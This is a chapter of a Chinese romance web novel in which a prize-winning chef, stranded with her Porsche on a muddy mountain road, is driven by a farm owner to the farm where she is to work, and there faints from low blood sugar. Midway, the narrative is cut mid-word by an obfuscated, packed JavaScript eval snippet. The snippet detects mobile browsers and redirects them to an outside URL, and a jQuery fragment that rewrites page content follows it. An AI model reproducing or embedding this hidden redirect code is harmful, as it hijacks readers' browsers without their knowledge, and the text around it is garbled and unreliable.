一辆灰色皮卡顺着盘旋蜿蜒的山路往上开,后斗里的树苗随路况起伏颠个不停,树叶沙沙作响。结实的轮胎趟过一摊泥泞,溅起阵阵泥花。
“本来就难走,下过雨这地更烂了!”副驾上的男孩抱怨着,手上不停地扒着小橘子,直到把上面的白絮撕得干干净净才塞到嘴里。
“这么费工啊。”开车的男人瞥了眼他的动作,嘴角噙着淡淡的笑,“嘴真叼。”
小谷不理他,哼了一声,把整个沙糖桔塞进嘴里,鼓着腮问:“仲徽哥,昨天跟你打电话的那个厨子啥时候到啊?”
“不知道,应该下午吧,她从隔壁市来的。”詹仲徽把着方向盘,微微转过一道弯。他俩看见远处一辆白车停在路上,漂亮的银白色车身下半部分沾满了泥浆,看样子似乎是陷泥了。车旁,一个女人靠在道路外侧的栏杆上通电话,山谷中躁动的风卷着她的长发,在空中无序地飘动。
“哥,这是啥车啊?”等皮卡靠近白车,到了能看清车标的距离,男孩嚼着桔瓣问。
“保时捷。”詹仲徽把车开到保时捷前停下,忽略掉男孩呆愣的表情,拔掉皮卡钥匙,扬起下巴:“走,小谷,我们下车去帮帮忙。”
陈宝仪坐在石墩子上,低头看了眼自己沾满泥土的鞋,举着手机听电话,眉头越来越皱,只听保险公司的人工智能兜兜转转说了一圈废话,最后还是绕回了最开始的问题。
她烦躁地撩了一把头发,咬牙咽下火气,一字一顿说:“转、人、工。”
“你好,要帮忙吗?”詹仲徽跨过一道深深的车辙印,走到陈宝仪面前,微微弯腰询问。陈宝仪在这个前不着村后不着店的坡上站了快一个小时,猛地听到有人说话,差点以为自己出了幻觉。
她抬起头,看向来人。
说话的男人戴了顶鸭舌帽,虽然眉眼半隐在阴影里看不清楚,但棱角分明的下颌角给予了丰富的想象空间。最吸引陈宝仪注意的是他的唇,饱满细腻,泛着恰到好处的粉,有一种温润的美感。
恰巧此时雾转云开,薄薄的阳光落在男人肩头,将周围的景色照得明亮。她看看男人身上的英伦风格的藏蓝色夹克,又看看旁边再普通不过的灰色皮卡车,不合时宜地笑了一下。
“我的车陷到泥里了,但是保险公司的工作人员似乎在休假。”陈宝仪站起身,拍了拍大衣。她站起来的时候眼前画面有些闪烁。或许是错过了饭点,可能有些低血糖吧。她甩甩头,眼前又清晰起来。
“我认识一些村民家里有拖车,可以帮你。”男人说,“价格不会太贵。”他微微抬起头,帽檐下是一双令人满意的漂亮眼睛。
陈宝仪比了个“OK”的手势,价格不是问题。她抬头望了望山顶,现在心里只有一件事。
“谢谢,请问你是要上山吗,可以捎我上去吗?”陈宝仪想了想又说,“有偿。”
男人笑着摆摆手:“我本来就是这么打算的,上车吧。”
陈宝仪打开后备箱,从里面拎出行李箱。没等陈宝仪拒绝,男人顺手就接了过去,放在了车后斗里。男人回头,却看见陈宝仪从副驾驶上抱了一堆金光闪闪的奖杯奖状出来。
“这什么?”男人好奇地问到。
“我是来这里的农场应聘厨师的。”陈宝仪颠了颠怀里的奖杯们,歪头笑了一下:“我想着带上之前比赛得过的奖,让老板对我的厨艺有一个直观的初级认识。”
“你是……陈宝仪?”男人吃了一惊,没想到这么巧,在路上就遇到自己的新厨师。
陈宝仪回过头,眨眨眼:“难道您是?”
“我姓詹,詹仲徽,‘溪瞻’农场的老板。”詹仲徽伸出右手,小心翼翼地拿起陈宝仪怀里的两座奖杯,轻轻念出上面的的刻字:“BaileyChen?很洋气啊。”
“我大学期间有去新加坡读一年书,简历里有提到。”陈宝仪有些不好意思,赶紧扯开话题:“东西差不多就这些了。”
小谷拎着一袋沙糖桔,不情不愿地被詹仲徽踹去后车斗,坐在茶树苗边,抱着行李箱嘟囔。詹仲徽联系好了帮忙拖车的老乡,丝滑地点火开车。
“昨天电话里你说今天到,我以为怎么也要下午。”驾驶室里气氛有些尴尬,詹仲徽开了个话头。
“我是从x市开车过来的,反正也不远,想着中午饭点前肯定能到。”陈宝仪摆摆手,回头望了眼自己仍陷于泥沼中、越来越小的保时捷,“没想到车子到了泥土路有点走不动。”
詹仲徽从后备箱看了眼那辆显得有些可怜的车,笑出声:“你开着这车来应聘?我那儿灶台可都是土砌的。”
“土砌的好,我们为了复原食品风味也喜欢用土灶,之前有次给某个领导做叫花鸡,还从他老家挖了一方土回来。”陈宝仪扫了眼他的夹克,调侃到:“这英伦风外套也不错呀,农场老板穿这个牌子也算是返璞归真吧。”
詹仲徽这回是真笑了,眼睛弯弯地看了她一眼:“你很识货。”
“其实来我这农场的人吧,也就是想吃点绿色有机的,没什么讲究。”詹仲徽偏头,眼睛依旧盯着前方的山路。
“哦对,说到这个,我也有点想法。”陈宝仪掏出手机,点开备忘录,输出自己昨天在床上翻来覆去一整晚的点子:
“老板你的农场建得还蛮有风格的,设计师很不错。而且邻着的鱼塘、茶山、农田都是你的对吧,完全可以做成旅游、观光、原生态美食一体化发展……我有幸喝过您家的茶叶,很好喝。您同意的话,稍微经过我的手,创造出更好的菜,也可以成为我们农场的一大卖点。”
“哇。”詹仲徽对这些有点冒犯的话只是笑笑,语气依旧温柔和煦:“你这思路听着像要做成什么米其林农场一样。我那地方来的都是回头客,就图个实在。”
“回头客?”陈宝仪挠挠头,翻了下评价,“平台上显示回头率0,高赞评论是‘景色很美老板很帅但是做饭太难吃了’,难道平台隐藏了部分评价我没看到?”
詹仲
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372240|199972||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
徽猛地呛了一下,咳个不停。
“哪个平台?”男人攥着方向盘的手微不可察地颤抖了一下,脖子瞬间染上了淡淡的红,“都是村里人介绍来的,他们说……咳,说看景就行,吃饭随便对付对付。”
聊着天,车子左拐右拐停在了一栋建筑旁边。詹仲徽熄了火,引擎声暂停。陈宝仪竖起耳朵,车窗外传来清脆悦耳的鸟鸣和潺潺流水声,像她以前玩过的某种木质风铃。
“所以,我的长处正好可以补上我们农场这最后一点点、小小的遗憾啦。”陈宝仪回过神,朝主驾驶上的詹仲徽扬起一个灿烂的笑容。
詹仲徽被这个笑容感染,也笑了起来:“那先让我尝尝你的手艺?正好我们也都还没吃午饭,中午给大家露一手?”
“没问题。”俗话说,好学生不怕抽查作业。而在做饭这个领域,陈宝仪自认为怎么也算个学霸。她自信满满地跳下车,关上车门,快步走到农场正门口,好奇地抬头望了眼农场的招牌,刚想说什么,突然感觉一阵天旋地转。
她有意识的最后一秒,只见眼前的地板像用了放大镜般嗡地一下跑到了她的鼻尖。
哇塞。
太丢人了。
“哥,她不会碰瓷吧?”小谷听见重物砸到地面的声音,吓了一跳,把手里的那袋沙糖桔往车斗上一扔便直直地蹦下来,用茶树树杈戳了戳陈宝仪的手臂,见她一动不动地趴在地上,瞬间像无头苍蝇一样乱窜。
“你为什么会觉得就业形势已经严峻到了开保时捷的人要跑到山里碰瓷农民了?”詹仲徽一边说着,一边轻轻地踹了他一脚,小谷夸张地捂着屁股,终于消停了下来。
“她刚刚说自己还没吃午饭,又在路上站那么久,可能是低血糖了。”詹仲徽轻轻抬起女人的脸,探了探鼻息,又用指腹擦去脸颊上沾的尘灰。他把电动车钥匙扔给小谷,自己手一捞把陈宝仪抱了起来,往农场里头走,“车给你,去诊所找医生过来,我先把她带到客房休息。”
“是低血糖,饿着了吧,没多大事。”老医生用绢布擦了擦陈宝仪脸上的汗。女人眼睫毛微动,缓缓睁开眼,看清面前的这老中小三个脑袋,尴尬得想挖个土坑躺进去。
“没事了?”詹仲徽问。
“嗯。谢谢。”陈宝仪抚着小腹坐起来,手脚还虚浮着无力,摸索着掏出手机,转向老医生:“谢谢您,出诊费多少。”老医生摆摆手,执意不要钱,陈宝仪连连说了一串感谢的话。
陈宝仪垂着脑袋,一口接一口地抿着温热的糖水,胃里的酸痛被热流安抚下来。
她悄悄抬眼观察这个房间的布置,鹅黄色的墙上开着对老木窗,窗外应该种了些芭蕉,巨叶随着山间流动的微风而摆动,在窗上落下婆娑的倩影。窗下横摆着张长窄的木,其上放了一个青瓷花瓶,瓶中斜斜地插了几支雪柳,长长的纸条上挂满嫩绿的芽叶。
“你这房间……”
“你这金奖……”
两人默契地同时开口打破寂静。